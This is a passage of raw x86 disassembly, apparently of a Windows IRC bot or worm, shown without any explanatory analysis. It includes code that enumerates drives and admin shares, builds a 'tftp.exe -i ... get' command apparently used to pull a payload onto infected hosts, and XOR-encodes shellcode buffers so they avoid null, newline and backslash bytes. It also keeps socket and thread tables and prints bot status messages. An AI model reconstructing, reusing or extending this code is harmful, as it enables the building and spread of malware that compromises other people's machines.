		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41792A
		push	esi
		push	offset aC_1	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41792A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_441418	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_416B34
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40E1B5
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_416AF2
		push	offset unk_43B2B8
		jmp	short loc_416AF7
; ---------------------------------------------------------------------------


loc_416AF2:				; CODE XREF: sub_416885+264j
		push	offset unk_43B280


loc_416AF7:				; CODE XREF: sub_416885+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416B27
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416B27:				; CODE XREF: sub_416885+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		pop	ecx


loc_416B34:				; CODE XREF: sub_416885+206j
					; sub_416885+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_416A83


loc_416B3F:				; CODE XREF: sub_416885+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_43B240
		push	eax
		call	sub_4173AC
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416B6A
; ---------------------------------------------------------------------------


loc_416B57:				; CODE XREF: sub_416885+173j
		lea	eax, [ebp+var_220]
		push	offset unk_43AF08
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_416B6A:				; CODE XREF: sub_416885+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416B88
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416B88:				; CODE XREF: sub_416885+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_416885	endp

; ---------------------------------------------------------------------------
dword_416B9C	dd 6A016Ah, 6A006Ah, 0FFF9B8E8h, 10C483FFh, 0AEC035FFh
					; DATA XREF: ___:0040F111o
		dd 0E8900043h, 7C3EB88Ah
		db 0EBh, 0E2h

; =============== S U B	R O U T	I N E =======================================



sub_416BBA	proc near		; CODE XREF: sub_416BDA+Ap
					; sub_416CB2+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AF0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AF0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BDA	proc near		; CODE XREF: sub_416CC9+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416BBA
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416BF7
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416BF7:				; CODE XREF: sub_416BDA+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AF0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AF0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43B4BC, eax
		lea	eax, [edi+1]
		mov	dword_43B4DD, eax
		lea	eax, [edi+17h]
		mov	dword_43B4D5, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43B458
		push	ebx
		mov	dword_43B4EB, eax
		call	sub_417490
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417490
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417490
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417490
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417490
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417490
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_43B4E1
		push	esi
		call	sub_417490
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416BDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CB2	proc near		; CODE XREF: sub_416CC9+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416BBA
		push	eax
		call	sub_416D36
		add	esp, 0Ch
		retn
sub_416CB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_403BE2+32p
					; sub_404D78+43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416CB2
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416CE9
		cmp	eax, 0FFFFh
		jbe	short loc_416CED


loc_416CE9:				; CODE XREF: sub_416CC9+17j
		xor	eax, eax
		jmp	short loc_416D32
; ---------------------------------------------------------------------------


loc_416CED:				; CODE XREF: sub_416CC9+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416BBA
		add	eax, 101h
		push	eax
		call	sub_417BEE
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416BBA
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416BDA
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416D51
		push	esi
		mov	edi, eax
		call	sub_417C62
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_416D32:				; CODE XREF: sub_416CC9+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D36	proc near		; CODE XREF: sub_416CB2+Ep
					; sub_416D51+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416D3F
		inc	ecx


loc_416D3F:				; CODE XREF: sub_416D36+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416D36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D51	proc near		; CODE XREF: sub_416CC9+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416D6D
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416D6D
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416D6D
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416D70


loc_416D6D:				; CODE XREF: sub_416D51+8j
					; sub_416D51+Ej ...
		inc	[ebp+arg_C]


loc_416D70:				; CODE XREF: sub_416D51+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416D98
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416D91
		cmp	al, 0Dh
		jz	short loc_416D91
		cmp	al, 5Ch
		jz	short loc_416D91
		test	al, al
		jnz	short loc_416D98


loc_416D91:				; CODE XREF: sub_416D51+32j
					; sub_416D51+36j ...
		add	[ebp+arg_C], 100h


loc_416D98:				; CODE XREF: sub_416D51+28j
					; sub_416D51+3Ej
		push	[ebp+arg_C]
		call	sub_416D36
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416DB0
		cmp	eax, 0FFFFh
		jbe	short loc_416DB7


loc_416DB0:				; CODE XREF: sub_416D51+56j
		xor	eax, eax
		jmp	loc_416E55
; ---------------------------------------------------------------------------


loc_416DB7:				; CODE XREF: sub_416D51+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_515858
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416DE7


loc_416DCB:				; CODE XREF: sub_416D51+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416DDE
		cmp	al, 0Ah
		jz	short loc_416DDE
		cmp	al, 0Dh
		jz	short loc_416DDE
		cmp	al, 5Ch
		jnz	short loc_416DE2


loc_416DDE:				; CODE XREF: sub_416D51+7Fj
					; sub_416D51+83j ...
		inc	bl
		xor	edx, edx


loc_416DE2:				; CODE XREF: sub_416D51+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416DCB


loc_416DE7:				; CODE XREF: sub_416D51+78j
		cmp	ecx, esi
		mov	byte_515858, bl
		ja	short loc_416E13
		push	15h
		push	offset loc_43B440
		push	[ebp+arg_0]
		mov	byte_43B44D, cl
		mov	byte_43B451, bl
		call	sub_417490
		add	esp, 0Ch
		push	15h
		jmp	short loc_416E34
; ---------------------------------------------------------------------------


loc_416E13:				; CODE XREF: sub_416D51+9Ej
		push	17h
		push	offset loc_43B428
		push	[ebp+arg_0]
		mov	word_43B436, cx
		mov	byte_43B43B, bl
		call	sub_417490
		add	esp, 0Ch
		push	17h


loc_416E34:				; CODE XREF: sub_416D51+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416E50
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_416E42:				; CODE XREF: sub_416D51+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416E42


loc_416E50:				; CODE XREF: sub_416D51+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_416E55:				; CODE XREF: sub_416D51+61j
		pop	esi
		leave
		retn
sub_416D51	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E58	proc near		; CODE XREF: sub_406047+220p
					; sub_4071BD+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_446C10


loc_416E60:				; CODE XREF: sub_416E58+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416E74
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_5154C0
		jl	short loc_416E60
		jmp	short loc_416EBF
; ---------------------------------------------------------------------------


loc_416E74:				; CODE XREF: sub_416E58+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_446C10[esi]
		push	eax
		call	sub_4182F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_446E10[esi], eax
		and	dword_446E14[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_446E18[esi], 0
		mov	dword_446E1C[esi], eax
		and	byte_446E28[esi], 0
		pop	esi


loc_416EBF:				; CODE XREF: sub_416E58+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416E58	endp

; ---------------------------------------------------------------------------
byte_416EC3	db 55h			; DATA XREF: sub_40F6F1+5D1Do
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 45E89000h, 5F7C3F51h, 0EC8B555Eh, 200EC81h
		dd 57560000h, 75FF006Ah, 0B51C6810h, 75FF0043h,	875FF0Ch
		dd 0FF6CDBE8h, 14C483FFh, 10BEFF33h, 8000446Ch,	3C74003Eh
		dd 147D83h, 0BE830975h,	204h, 562D7500h, 858D57h, 68FFFFFEh
		dd 43790Ch, 446E850h, 16A0000h,	0FE00858Dh, 75FFFFFFh
		dd 75FF5010h, 875FF0Ch,	0FF6C93E8h, 24C483FFh, 234C681h
		dd 81470000h, 5154C0FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416F93	proc near		; CODE XREF: sub_40F6F1+5060p
					; sub_417021+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_41701B
		cmp	esi, 5DCh
		jge	short loc_41701B
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_446E24[esi]
		lea	edi, dword_446E24[esi]
		nop
		call	near ptr 7C81CE03h
		cmp	[edi], ebx
		jz	short loc_416FCB
		push	1
		pop	ebp


loc_416FCB:				; CODE XREF: sub_416F93+33j
		mov	[edi], ebx
		lea	edi, dword_446E18[esi]
		mov	dword_446E10[esi], ebx
		mov	dword_446E14[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416FEC
		push	eax
		call	sub_415EA0
		pop	ecx


loc_416FEC:				; CODE XREF: sub_416F93+50j
		mov	[edi], ebx
		lea	edi, dword_446E1C[esi]
		mov	byte ptr dword_446C10[esi], bl
		mov	byte_446E28[esi], bl
		push	dword ptr [edi]
		call	dword_441450	; closesocket
		lea	esi, dword_446E20[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		mov	[esi], ebx
		pop	edi


loc_41701B:				; CODE XREF: sub_416F93+Dj
					; sub_416F93+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416F93	endp


; =============== S U B	R O U T	I N E =======================================



sub_417021	proc near		; CODE XREF: sub_40ABB7:loc_40ABDBp
					; sub_40D93C+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_446C10


loc_41702D:				; CODE XREF: sub_417021+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_41703E
		push	edi
		call	sub_416F93
		test	eax, eax
		pop	ecx
		jz	short loc_41703E
		inc	ebx


loc_41703E:				; CODE XREF: sub_417021+Fj
					; sub_417021+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_5154C0
		jl	short loc_41702D
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_417021	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417053	proc near		; CODE XREF: sub_40F6F1+1EB8p
					; sub_40F6F1+202Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_446E14


loc_417067:				; CODE XREF: sub_417053+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_417089
		test	edi, edi
		jle	short loc_41707B
		cmp	[esi], edi
		jz	short loc_41707B
		cmp	ebx, edi
		jnz	short loc_417089


loc_41707B:				; CODE XREF: sub_417053+1Ej
					; sub_417053+22j
		push	ebx
		call	sub_416F93
		test	eax, eax
		pop	ecx
		jz	short loc_417089
		inc	[ebp+var_4]


loc_417089:				; CODE XREF: sub_417053+1Aj
					; sub_417053+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_5156C4
		jl	short loc_417067
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417053	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170A0	proc near		; CODE XREF: sub_407146+Bp
					; sub_4071BD+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_446E10


loc_4170A7:				; CODE XREF: sub_4170A0+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4170B0
		inc	eax


loc_4170B0:				; CODE XREF: sub_4170A0+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_5156C0
		jl	short loc_4170A7
		retn
sub_4170A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170BF	proc near		; CODE XREF: sub_40F6F1+57D8p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_446E10


loc_4170C9:				; CODE XREF: sub_4170BF+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4170E2
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_5156C0
		jl	short loc_4170C9
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4170E2:				; CODE XREF: sub_4170BF+10j
		mov	eax, edx
		pop	esi
		retn
sub_4170BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170E6	proc near		; CODE XREF: sub_40F6F1:loc_41078Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_4170FF
		push	[ebp+arg_1C]
		call	sub_41791F
		pop	ecx


loc_4170FF:				; CODE XREF: sub_4170E6+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_417053
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41712B
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4173AC
		add	esp, 14h
		jmp	short loc_417145
; ---------------------------------------------------------------------------


loc_41712B:				; CODE XREF: sub_4170E6+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4173AC
		add	esp, 10h


loc_417145:				; CODE XREF: sub_4170E6+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417165
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_417165:				; CODE XREF: sub_4170E6+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40C4F7
		pop	ecx
		leave
		retn
sub_4170E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_417174	proc near		; CODE XREF: sub_401000+A2p
					; sub_401447+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_446E24[eax], ecx
		mov	dword_446E10[eax], ecx
		mov	dword_446E14[eax], ecx
		mov	dword_446E18[eax], ecx
		mov	dword_446E1C[eax], ecx
		mov	dword_446E20[eax], ecx
		mov	byte ptr dword_446C10[eax], cl
		mov	byte_446E28[eax], cl
		retn
sub_417174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171B1	proc near		; CODE XREF: sub_40F6F1+6310p
					; sub_4172DF+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4171BB:				; CODE XREF: sub_4171B1+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41721B
		cmp	eax, 1
		jnz	short loc_41721B
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41721B
		cmp	cl, 2Ah
		jz	short loc_417202
		cmp	cl, 3Fh
		jz	short loc_4171E5
		cmp	cl, 5Bh
		jz	short loc_4171EA
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4171E5:				; CODE XREF: sub_4171B1+26j
		inc	[ebp+arg_4]
		jmp	short loc_417215
; ---------------------------------------------------------------------------


loc_4171EA:				; CODE XREF: sub_4171B1+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417247
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417215
; ---------------------------------------------------------------------------


loc_417202:				; CODE XREF: sub_4171B1+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4172DF
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_417215:				; CODE XREF: sub_4171B1+37j
					; sub_4171B1+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4171BB
; ---------------------------------------------------------------------------


loc_41721B:				; CODE XREF: sub_4171B1+Ej
					; sub_4171B1+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41722B
		cmp	eax, 1
		jnz	short loc_417242
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41721B
; ---------------------------------------------------------------------------


loc_41722B:				; CODE XREF: sub_4171B1+6Dj
		cmp	eax, 1
		jnz	short loc_417242
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417242
		cmp	byte ptr [esi],	0
		jnz	short loc_417242
		push	1
		pop	eax
		jmp	short loc_417244
; ---------------------------------------------------------------------------


loc_417242:				; CODE XREF: sub_4171B1+72j
					; sub_4171B1+7Dj ...
		xor	eax, eax


loc_417244:				; CODE XREF: sub_4171B1+8Fj
		pop	esi
		pop	ebp
		retn
sub_4171B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417247	proc near		; CODE XREF: sub_4171B1+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_417268
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_417268:				; CODE XREF: sub_417247+19j
		push	ebx
		push	esi


loc_41726A:				; CODE XREF: sub_417247+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_417278
		cmp	[ebp+var_4], eax
		jnz	short loc_4172C4


loc_417278:				; CODE XREF: sub_417247+2Aj
		test	edi, edi
		jnz	short loc_4172B9
		cmp	bl, 2Dh
		jnz	short loc_4172AD
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4172AD
		cmp	al, 5Dh
		jz	short loc_4172AD
		cmp	[ebp+var_4], edi
		jnz	short loc_4172AD
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4172B9
		cmp	bl, al
		jg	short loc_4172B9
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4172B9
; ---------------------------------------------------------------------------


loc_4172AD:				; CODE XREF: sub_417247+38j
					; sub_417247+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4172B9
		push	1
		pop	edi


loc_4172B9:				; CODE XREF: sub_417247+33j
					; sub_417247+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41726A
; ---------------------------------------------------------------------------


loc_4172C4:				; CODE XREF: sub_417247+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4172D1
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4172D1:				; CODE XREF: sub_417247+82j
		cmp	edi, eax
		jnz	short loc_4172DA
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4172DA:				; CODE XREF: sub_417247+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_417247	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172DF	proc near		; CODE XREF: sub_4171B1+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4172FB:				; CODE XREF: sub_4172DF+3Aj
		cmp	[eax], bl
		jz	short loc_41731B
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417310
		cmp	cl, 2Ah
		jnz	short loc_41731B
		cmp	cl, 3Fh
		jnz	short loc_417313


loc_417310:				; CODE XREF: sub_4172DF+25j
		inc	eax
		mov	[edi], eax


loc_417313:				; CODE XREF: sub_4172DF+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4172FB
; ---------------------------------------------------------------------------


loc_41731B:				; CODE XREF: sub_4172DF+1Ej
					; sub_4172DF+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_417326
		inc	dword ptr [esi]
		jmp	short loc_41731B
; ---------------------------------------------------------------------------


loc_417326:				; CODE XREF: sub_4172DF+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_417347
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_417338
		xor	eax, eax
		jmp	short loc_4173A7
; ---------------------------------------------------------------------------


loc_417338:				; CODE XREF: sub_4172DF+53j
		cmp	cl, bl
		jnz	short loc_417347
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_417347
		push	1
		pop	eax
		jmp	short loc_4173A7
; ---------------------------------------------------------------------------


loc_417347:				; CODE XREF: sub_4172DF+4Dj
					; sub_4172DF+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4171B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417391


loc_417355:				; CODE XREF: sub_4172DF+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_417359:				; CODE XREF: sub_4172DF+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417371
		cmp	cl, 5Bh
		jz	short loc_417371
		cmp	dl, bl
		jz	short loc_417371
		inc	eax
		mov	[edi], eax
		jmp	short loc_417359
; ---------------------------------------------------------------------------


loc_417371:				; CODE XREF: sub_4172DF+82j
					; sub_4172DF+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_417388
		push	eax
		push	dword ptr [esi]
		call	sub_4171B1
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41738D
; ---------------------------------------------------------------------------


loc_417388:				; CODE XREF: sub_4172DF+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41738D:				; CODE XREF: sub_4172DF+A7j
		cmp	eax, ebx
		jnz	short loc_417355


loc_417391:				; CODE XREF: sub_4172DF+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4173A4
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4173A4
		mov	[ebp+var_4], 1


loc_4173A4:				; CODE XREF: sub_4172DF+B6j
					; sub_4172DF+BCj
		mov	eax, [ebp+var_4]


loc_4173A7:				; CODE XREF: sub_4172DF+57j
					; sub_4172DF+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4172DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4173AC	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
